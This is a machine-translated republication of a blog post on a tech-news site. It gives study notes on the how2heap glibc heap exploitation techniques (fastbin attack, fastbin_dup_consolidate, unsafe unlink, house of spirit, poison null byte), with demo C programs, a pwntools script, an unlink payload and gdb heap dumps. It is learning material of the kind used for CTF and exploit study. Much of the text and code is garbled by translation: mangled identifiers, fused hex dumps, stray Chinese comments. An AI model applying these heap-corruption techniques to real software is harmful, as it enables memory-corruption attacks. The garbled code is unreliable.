In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article shows you what how2heap points to pay attention to, the content is concise and easy to understand, it will definitely brighten your eyes. I hope you can get something through the detailed introduction of this article.
My understanding of first-fit is that the first one in split unsortedbin is larger than the chunk to be allocated, but in fact this is not the case.
Test program
# include # include # include int main () {int m; scanf ("% d", m); char* a = malloc (0x256); char* b = malloc (0x200); char* e = malloc (0x100); char* f = malloc (0x256); char* c; free (e); free (a); / / preceded c = malloc (0x80) / / split the chunk that is large enough (to find the most suitable, best_fit), traverse the unsortedbin and put the segmented chunk into the corresponding bins, and the remaining chunk into the unsortedbin}
Compile command gcc-g-fno-stack-protector-z execstack-no-pie first-fit.c-o first-fit
You can use python to load
From pwn import * context.log_level= "debug" p=process (["/ glibc/2.23/64/lib/ld-2.23.so", ". / first-fit"], env= {"LD_PRELOAD": "/ glibc/2.23/64/lib/libc.so.6"}) # io = gdb.debug ("first-fit", "break main") gdb.attach (pfocus exe = "first-fit") p.sendline ("aaa") p.interactive ()
When running to return, the heap content is as follows
You can see that the segmentation here is e, that is, it will traverse the unsortedbin to find the chunk with the closest size to split.
Other chunk will be put into the corresponding bins, and the rest of the split chunk will be put into the unsortedbin.
The conclusion drawn from the later test
1. If fastbin doesn't find the right chunk, look in unsortedbin.
two。 The chunk merge in fast bins will be performed before looking for unsortedbin, and then put into unsortedbin after the merge.
3. If a chunk of exactly the same size is found in the unsortedbin, it will be taken out directly, and the allocation will end.
4. If there is no chunk traversal unsortedbin of exactly the same size in the unsortedbin, put the chunk into the corresponding bins (not the fastbins)
5. Then traverse other biins to find a suitable chunk to cut, and put the rest of the cut into the unsortedbin
It's not quite the same as it is written in some places, but it explains a lot of problems encountered in the test. If you have any questions, thank you for contacting me. )
For libc containing tcatch, it extends directly from topchunk.
The arrow in the picture refers to c
Fast_bin_into_stack
It is a commonly used fastbin attack. Here is to introduce some experiences.
Free fast chunk will check fastbins. If the chunk directly connected by main_arena is free again, it will report an error.
In this case, the address that double free wants to write with this 0x20 is 0x7fffffffe5b0-8.
Put it in the corresponding position.
If you want to use the 0x7f here as the size
0x7fffffffe670-3 is required
To sum up, if you want to use a byte as a size field, you need to use the address of this line minus its number of bytes.
0x70-3=0x6d
Condition for double free to enter stack: size is required, and stack loading address is required (for ALSR enabled, stack address needs to be disclosed if you want to modify the stack in this way)
Fast_bin_attack needs
1.fastbin
2.Size
3. The address of where you want attack (bss segment address, stack address)
4. Need uaf or doublefree
Result: you can apply for an address of space to write data.
Tip: to use a byte as a size field, you need to subtract its number of bytes from the address of that line (the number of bytes starts at 0).
Fastbin_dup_consolidate
When allocating large bin chunk, malloc_consolidate () is called, and this function iterates through all the fastbin, merging the chunk inside, changing the inuse bit, and then inserting them all into the unsorted bin.
# include # include # include int main () {void* p1 = malloc (0x40); void* p2 = malloc (0x40); fprintf (stderr, "Allocated two fastbins: p1 percent p2 percent p\ n", p1, p2); fprintf (stderr, "Now free p1!\ n"); free (p1); void* p3 = malloc (0x400); fprintf (stderr, "Allocated large bin to trigger malloc_consolidate (): p3 percent p\ n", p3) Fprintf (stderr, "In malloc_consolidate (), p1 is moved to the unsorted bin.\ n"); free (p1); fprintf (stderr, "Trigger the double free vulnerability!\ n"); fprintf (stderr, "We can pass the check in malloc () since p1 is not fast top.\ n"); fprintf (stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice:% p% p\ n ", malloc (0x40), malloc (0x40);}
In fact, when you finish executing void* p3 = malloc (0x400); then call the malloc_consolidate function
This function refreshes the bins, puts the fastbin collection into the unsortedbin, traverses the unortedbin, puts the corresponding chunk into the corresponding bins, and then tries to find the separable chunk (not found here)
After executing the second free (p1)
You can see that the fast chunk is released back into the fastbin chain again, and the chunk is not in the smallbins.
But the previnue bit of the next chunk becomes zero. Putting in smallbin will change the flag bit, and then putting free into fastbin again will not change the flag bit, so the flag bit here will become 0, and then getting chunk from fastbin will certainly not change the inuse bit.
Conclusion: when free drops a large chunk, the chunk in the small fastbin will be put into the smallbin and the flag bit will be changed. Once again, free the small chunk will make the small chunk return to the fastbin. The reward of turning around is that the prev_inuse bit of the next chunk physically adjacent to the small chunk will be set to zero. Can cooperate with unlink
Need to:
Fastbin can double-free
Can apply for a large chunk
Result: modify the prev_inuse bit of the physically adjacent chunk of fast chunk, which can be used with unlink
Hitcon 2016 SleepyHolder reference https://blog.csdn.net/qq_38204481/article/details/104731016
Unsafe_unlink
Reference: https://blog.csdn.net/qq_38204481/article/details/82808011
Need to:
1. Pointer list pointer points to the structure of chunk (knows the address of the bss segment) or knows the main_area address (that is, the libc address) (you need to know the address of the pointer list)
two。 The prev_inuse bit can be modified. It can be double free (fastbin_dup_consolidate), uaf or heap overflow.
Payload usage
F_ptr = 0x6020d0 # is a pointer to which the content can be written to fake_chunkfake_chunk = p64 (0) + p64 (0x21) # forge the sizefake_chunk + = p64 (fanciptra-0x18) + p64 (f_ptr-0x10) of this chunk, forge the prev_size bit of the next chunk + ='\ x20' # and be consistent with the beginning chunksize + the next chunk is the modified prev_ inuse bit
The process of setting up payload only needs to know a pointer to chunk, and then write data to chunk and ok.
The result is to write f_ptr-0x18 to * f_ptr
House_of_spirit#include # include int main () {int cc; scanf ("% d", cc); malloc (1); unsigned long long * a; / / This has nothing to do with fastbinsY (do not be fooled by the 10)-fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks [10] _ attribute__ ((aligned (16); fake_chunks [1] = 0x40 / / this is the size fprintf (stderr, "The chunk.size of the * next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) & &
< av->System_mem (
< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize a = &fake_chunks[2];//释放之前布置好了本chunk的size(可控1),后一个chunk的size(可控2) free(a); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));} 运行结束之后 申请到了任意一段空间。 总结需要: 在两个地址处写入size。 对size的要求: 1.可控1size位在fastbin范围内,size对齐的4位中第二第四位不能为1 2.可控2的size位大于0x10小于system_mem(64位是128kb) 3.需要一个能够被free的指针指向可控1的size后面(一般是正常指针指向目标区域,目标区域的chunk的size在可控1范围内) 结果:可以扩大或者缩小申请到的堆空间,修改其他chunk的空间 经验:一般条件3中的指针是正常存在的,可以修改的是size,这时候可以放大或缩小chunk让chunk重合。 poison_null_byteint __cdecl main(int argc, const char **argv, const char **envp){ uint8_t *a; // ST08_8 int real_a_size; // ST04_4 uint8_t *b; // ST10_8 uint8_t *c; // ST18_8 void *barrier; // ST20_8 uint8_t *b1; // ST38_8 uint8_t *b2; // ST40_8 uint8_t *d; // ST48_8 fwrite("Welcome to poison null byte 2.0!\n", 1uLL, 0x21uLL, stderr); fwrite("Tested in Ubuntu 14.04 64bit.\n", 1uLL, 0x1EuLL, stderr); fwrite( "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n", 1uLL, 0x6CuLL, stderr); fwrite( "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n", 1uLL, 0x61uLL, stderr); fwrite("We allocate 0x100 bytes for 'a'.\n", 1uLL, 0x21uLL, stderr); a = (uint8_t *)malloc(0x100uLL); //这个chunk要有off_by_one_null漏洞 fprintf(stderr, "a: %p\n", a); real_a_size = malloc_usable_size(a); fprintf( stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): %#x\n", (unsigned int)real_a_size); b = (uint8_t *)malloc(0x200uLL); //这个chunk用来伪造 fprintf(stderr, "b: %p\n", b); c = (uint8_t *)malloc(0x100uLL); //这个最后才会用到 fprintf(stderr, "c: %p\n", c); barrier = malloc(0x100uLL); //防止被topchunk 合并 fprintf( stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" "The barrier is not strictly necessary, but makes things less confusing\n", barrier); fwrite( "In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != " "prev_size (next_chunk(P))'\n", 1uLL, 0x8FuLL, stderr); *((_QWORD *)b + 0x3E) = 0x200LL; //正常写(真正的chunk大小是0x210,在b+0x3e*8,是如果chunk b是0x200大小的话对应下一个chunk的pre_size位) free(b); //把整个b放入unsorted bin fprintf(stderr, "b.size: %#lx\n", *((_QWORD *)b - 1)); fwrite("b.size is: (0x200 + 0x10) | prev_in_use\n", 1uLL, 0x28uLL, stderr); fwrite("We overflow 'a' with a single null byte into the metadata of 'b'\n", 1uLL, 0x41uLL, stderr); a[real_a_size] = 0; //修改b的size位和inuse位(只需要改一个字节)(b的size位变成了0x200) fprintf(stderr, "b.size: %#lx\n", *((_QWORD *)b - 1)); fprintf(stderr, "c.prev_size is %#lx\n", *((_QWORD *)c - 2)); fprintf( stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((_QWORD *)b - 1), *(_QWORD *)&b[*((_QWORD *)b - 1) - 16]); b1 = (uint8_t *)malloc(0x100uLL); //分割b得到b的第一块0x110大小 fprintf(stderr, "b1: %p\n", b1); fprintf( stderr, "Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: %#lx\n", *((_QWORD *)c - 2)); fprintf( stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: %lx\n", *((_QWORD *)c - 4)); fwrite("We malloc 'b2', our 'victim' chunk.\n", 1uLL, 0x24uLL, stderr); b2 = (uint8_t *)malloc(0x80uLL); //分割b chunk的第二块得到0x90的chunk,分割完之后chunk结构如下图 fprintf(stderr, "b2: %p\n", b2); memset(b2, 'B', 0x80uLL); fprintf(stderr, "Current b2 content:\n%s\n", b2); fwrite( "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n", 1uLL, 0x61uLL, stderr); free(b1); //b1回到unsorted bin中 free(c); //释放c引起chunk合并(是在没有修改任何东西的时候写入的c chunk的prev_size位,导致合并的应该是原来的0x210的chunk,合并成0x320大小的chunk) fwrite("Finally, we allocate 'd', overlapping 'b2'.\n", 1uLL, 0x2CuLL, stderr); d = (uint8_t *)malloc(0x300uLL); //d获取到未分配的b到c的一大块区域 fprintf(stderr, "d: %p\n", d); fwrite("Now 'd' and 'b2' overlap.\n", 1uLL, 0x1AuLL, stderr); memset(d, 68, 0x300uLL); fprintf(stderr, "New b2 content:\n%s\n", b2); fwrite( "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explan" "ation of this technique.\n", 1uLL, 0x8DuLL, stderr); return 0;} *((_QWORD *)b + 0x3E) = 0x200LL;运行之后的布局 0x555557083320: 0x0000000000000200 0x0000000000000000 chunk b末尾0x555557083330: 0x0000000000000000 0x0000000000000111 chunk c 接下来释放b(b进入unsorted bin),释放之后的布局为 0x555557083320: 0x0000000000000200 0x0000000000000000 chunk b0x555557083330: 0x0000000000000210 0x0000000000000110 chunk c 修改size和previnuse然后申请b1,修改b和c的交叉点结构如下 0x555557083320: 0x00000000000000f0 0x0000000000000000 chunk b(被切割并且修改这里的size)0x555557083330: 0x0000000000000210 0x0000000000000110 chunk c 分配完b2得到的chunk结构是 0x555555757110: 0x0000000000000000 0x0000000000000111 b10x555555757120: 0x00007ffff7dd1d68 0x00007ffff7dd1d680x555555757130: 0x0000000000000000 0x00000000000000000x555555757140: 0x0000000000000000 0x00000000000000000x555555757150: 0x0000000000000000 0x00000000000000000x555555757160: 0x0000000000000000 0x00000000000000000x555555757170: 0x0000000000000000 0x00000000000000000x555555757180: 0x0000000000000000 0x00000000000000000x555555757190: 0x0000000000000000 0x00000000000000000x5555557571a0: 0x0000000000000000 0x00000000000000000x5555557571b0: 0x0000000000000000 0x00000000000000000x5555557571c0: 0x0000000000000000 0x00000000000000000x5555557571d0: 0x0000000000000000 0x00000000000000000x5555557571e0: 0x0000000000000000 0x00000000000000000x5555557571f0: 0x0000000000000000 0x00000000000000000x555555757200: 0x0000000000000000 0x00000000000000000x555555757210: 0x0000000000000000 0x00000000000000000x555555757220: 0x0000000000000000 0x0000000000000091 b20x555555757230: 0x00007ffff7dd1b78 0x00007ffff7dd1b780x555555757240: 0x0000000000000000 0x00000000000000000x555555757250: 0x0000000000000000 0x00000000000000000x555555757260: 0x0000000000000000 0x00000000000000000x555555757270: 0x0000000000000000 0x00000000000000000x555555757280: 0x0000000000000000 0x00000000000000000x555555757290: 0x0000000000000000 0x00000000000000000x5555557572a0: 0x0000000000000000 0x00000000000000000x5555557572b0: 0x0000000000000000 0x0000000000000061 unsorted0x5555557572c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b780x5555557572d0: 0x0000000000000000 0x00000000000000000x5555557572e0: 0x0000000000000000 0x00000000000000000x5555557572f0: 0x0000000000000000 0x00000000000000000x555555757300: 0x0000000000000000 0x00000000000000000x555555757310: 0x0000000000000060 0x00000000000000000x555555757320: 0x0000000000000210 0x0000000000000110 c 接下来释放c和b1,能把整个c,b(包含b1,b2,unsorted)全部合并放入unsorted bin 深入思考 如果只释放c不释放b1的话会崩溃,追踪崩溃找到下面代码,释放c的时候会检查前面的chunk是否在使用,没有使用(这个是满足的)将会进行unlink(这里不释放p1是过不了unlink的检查的) if (!prev_inuse(p)) { prevsize = p->Prev_size; size + = prevsize; p = chunk_at_offset (p,-((long) prevsize)); unlink (av, p, bck, fwd);}
If there is no * ((_ QWORD *) b + 0x3E) = 0x200LL; this size is actually feasible.
In libc2.23, when cutting chunk, the prev_size bit of next_chunk is not checked, and the size of the cut size is written to the corresponding position. In commenting out the code
* ((_ QWORD *) b + 0x3E) = 0x200LL; after the statement, the heap space after applying for b1 is shown in the following figure
Pwndbg > x / 70xg b0x555556eaa130: 0x00007f2a49e20d68 0x00007f2a49e20d680x555556eaa140: 0x0000000000000000 0x00000000000000000x555556eaa150: 0x0000000000000000 0x00000000000000000x555556eaa160: 0x0000000000000000 0x00000000000000000x555556eaa170: 0x0000000000000000 0x00000000000000000x555556eaa180: 0x0000000000000000 0x00000000000000000x555556eaa190: 0x0000000000000000 0x00000000000000000x555556eaa1a0: 0x0000000000000000 0x00000000000000000x555556eaa1b0: 0x0000000000000000 0x00000000000000000x555556eaa1c0: 0x0000000000000000 0x00000000000000000x555556eaa1d0: 0x0000000000000000 0x00000000000000000x555556eaa1e0: 0x0000000000000000 0x00000000000000000x555556eaa1f0: 0x0000000000000000 0x00000000000000000x555556eaa200: 0x0000000000000000 0x00000000000000000x555556eaa210: 0x0000000000000000 0x00000000000000000x555556eaa220: 0x0000000000000000 0x00000000000000000x555556eaa230: 0x0000000000000000 0x00000000000000f10x555556eaa240: 0x00007f2a49e20b78 0x00007f2a49e20b780x555556eaa250: 0x0000000000000000 0x00000000000000000x555556eaa260: 0x0000000000000000 0x00000000000000000x555556eaa270: 0x0000000000000000 0x00000000000000000x555556eaa280: 0x0000000000000000 0x00000000000000000x555556eaa290: 0x0000000000000000 0x00000000000000000x555556eaa2a0 : 0x0000000000000000 0x00000000000000000x555556eaa2b0: 0x0000000000000000 0x00000000000000000x555556eaa2c0: 0x0000000000000000 0x00000000000000000x555556eaa2d0: 0x0000000000000000 0x00000000000000000x555556eaa2e0: 0x0000000000000000 0x00000000000000000x555556eaa2f0: 0x0000000000000000 0x00000000000000000x555556eaa300: 0x0000000000000000 0x00000000000000000x555556eaa310: 0x0000000000000000 0x00000000000000000x555556eaa320: 0x00000000000000f0 0x00000000000000000x555556eaa330: 0x0000000000000210 0x0000000000000110 using process finishing
The size written here is still in the space of b, which is the size size of b to be forged. The location should satisfy the prev_size that can be used as the next chunk after the size of b is forged.
Then apply for chunk cutting b, and the whole b is divided into 3 pieces
0x0000000000000111 b1
0x0000000000000091 b2
0x0000000000000061 unsorted
The next step is to release b1Magee C1. When C1 is released, chunk merging is performed to get the chunk of 0x320.
Then d = (uint8_t *) malloc (0x300uLL) will apply for space for two chunk b and c
Summary:
Required conditions: 1. There are off_by_one_null vulnerabilities
two。 It's a vulnerability exploit of unsorted bin.
Result: you can apply for a chunk that has been applied for between two spaces that have been released (cause overflow, modify data)
What are the above points for attention in how2heap? have you learned any knowledge or skills? If you want to learn more skills or enrich your knowledge reserve, you are welcome to follow the industry information channel.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.